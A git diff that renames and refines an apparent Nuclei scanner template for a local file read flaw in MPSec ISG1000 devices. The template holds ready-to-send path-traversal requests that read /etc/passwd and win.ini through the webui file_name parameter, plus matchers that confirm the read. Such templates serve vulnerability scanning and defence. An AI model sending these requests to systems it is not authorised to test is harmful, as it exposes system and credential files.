diff --git a/vulnerabilities/other/mpsec-isg1000-lfi.yaml b/vulnerabilities/other/mpsec-lfi.yaml similarity index 86% rename from vulnerabilities/other/mpsec-isg1000-lfi.yaml rename to vulnerabilities/other/mpsec-lfi.yaml index 5208307b2c..aba105d505 100644 --- a/vulnerabilities/other/mpsec-isg1000-lfi.yaml +++ b/vulnerabilities/other/mpsec-lfi.yaml @@ -1,25 +1,26 @@ -id: mpsec-isg1000-lfi +id: mpsec-lfi info: - name: Mpsec ISG1000 LFI + name: MPSec ISG1000 Local File Read author: pikpikcu severity: high reference: https://twitter.com/sec715/status/1402884871173795842 - tags: mpsec-isg,lfi + tags: mpsec,lfi requests: - method: GET path: - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd" - "{{BaseURL}}/webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../c:/windows/win.ini" + matchers-condition: and matchers: - - type: regex regex: - "for 16-bit app support" - "root:[x*]:0:0:" part: body + condition: or - type: status status: